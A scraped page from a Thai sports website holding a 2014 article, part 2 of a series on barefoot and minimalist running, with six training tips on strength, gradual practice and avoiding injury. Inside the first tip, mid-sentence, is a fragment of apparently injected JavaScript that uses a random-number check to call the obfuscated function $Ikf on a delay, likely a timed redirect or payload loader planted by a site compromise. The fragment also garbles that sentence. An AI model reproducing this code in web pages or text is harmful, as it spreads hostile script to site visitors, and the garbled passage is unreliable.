• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

วิ่ง Barefoot Running ภาค 2

Kanthad Yangsattha by Kanthad Yangsattha
20 November 2014
in Running Tips, Tips & Technics
0
วิ่ง Barefoot Running ภาค 2
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ความเดิมจากตอนที่แล้ว เราพูดถึงที่มาการวิ่งแบบ Barefoot หรือ Barefoot Run (ขออนุณาตให้หมายถึงพวก minimalist ด้วยนะครับ) ในบทความนี้เราจะพูดถึงการเริ่มวิ่งแบบ Barefoot ว่าต้องทำอย่างไรกันบ้าง แต่ก่อนอื่นเรามาระลึกความหลังกันเกี่ยวกับการวิ่งแบบ Barefoot

ถ้าเปรียบเทียบในเชิงการแข่งขัน ยิ่งมีน้ำหนักน้อยก็ยิ่งวิ่งได้เร็วขึ้น ประหยัดเวลามากขึ้น การวิ่งแบบ Barefoot ก็จะได้เปรียบมากกว่าการใส่รองเท้าวิ่ง นอกจากนี้การลงเท้าของการวิ่งแบบ Barefoot ก็จะมีจุดกระทบที่ต่างกับการใส่รองเท้าวิ่ง ซึ่งบังคับให้เราลงแบบ forefoot strike ในขณะที่การใส่รองเท้าวิ่งจะทำให้เราลงส้น heel strike ได้มากกว่า แต่สำหรับนักวิ่งที่มีประสบการณ์ช่วงการเปลี่ยนถ่ายมาวิ่งแบบ Barefoot สามารถทำได้ง่ายกว่านักวิ่งมือใหม่หรือคนที่วิ่งลงส้น เพราะคนที่วิ่งแบบ rear strike หรือลงส้นนะ ส่วนมากจะเจอปัญหากอาการปวดปวมเอ็นร้อยหวาย Achilles tendon ก็เป็นได้ การวิ่งเท้าเปล่ายังต้องระวังอาการบาดเจ็บ ที่โดนเสี้ยน หิน หรือเศษชองมีคมทิ่มตำ ฉะนั้นแนะนำว่าอย่างน้อยก็ควรหาอะไรหุ้มเท้าไว้ก็ดีนะครับ แต่ถ้ามั่นใจไม่กลัวก็วิ่งเท้าเปล่าเลยครับ

9235521254_c45ff45f04_kการฝึกวิ่ง Barefoot

  1. การวิ่งเท้าป่าวหรือ Barefoot ต้องการความแข็งแรงของกล้ามเนื้อน่องและข้อเท้า หรือ ankle andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calves
  2. การวิ่งเท้าเปล่าอาจจะไม่เหมาะกับคนทุกคน แต่การฝึกเพิ่มความแข็งแรงให้กับกล้ามเนื้อช่วงล่างและ Core เพื่อให้การวิ่งของเราเสถียรมากกขึ้น จะมีประโยชน์ทั้งวิ่งใส่รองเท้าและเท้าเปล่า
  3. ในช่วงฝึกแรกๆ นอกจากการฝึกแบบ Strength training แล้วลองใช้การฝึกกับลู่วิ่งหรือเครื่อง elliptical ทั้งเท้าเปล่าหรือสลับรองเท้าแบบ minimalist
  4. ฝึกเดิน Interval แบบสั้นๆ (วินาทีถึงนาที) ทั้งใส่รองเท้าแบบ Minimalist กับเท้าเปล่าเริ่มจากภายในบ้านเราก่อน หรือจะลองวิ่งกับเครื่อง Elliptical ก็ได้
  5. เริ่มวิ่งเท้าเปล่าหรือ Minimalist ในช่วงนี้เป็นการฝึกวิ่งจริง และต้องใช้เวลา ร่างกายจะค่อยๆ เรียนรู้การวิ่งแบบเท้าเปล่า และปรับกลไลการวิ่งให้เป็นไปตามธรรมชาติเอง นักวิ่งบางคนจะสามารถปรับเปลี่ยนสเต็บการวิ่งได้เองอย่างรวดเร็วแต่บางคนต้องใช้เวลา แนะนำให้ลองใช้รองเท้า Minimalist ก่อนวิ่งเท้าเปล่าเต็มรูปแบบ
  6. ต้องฝึกฝน อดทนและรู้จักยืดหยุ่น เพราะการวิ่งเท้าเปล่าหรือ Minimalist เป็นการอาศัยกล้ามเนื้อของร่างกายเราให้วิ่งในรูปแบบที่เป็นธรรมชาติที่สุด กล้ามเนื้อส่วนต้องการเวลาในการพัฒนา การเร่งรัดหรือฝืนวิ่งอาจจะทำให้เกิดอาการบาดเจ็บได้

 

Credit: runnersworld.com

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.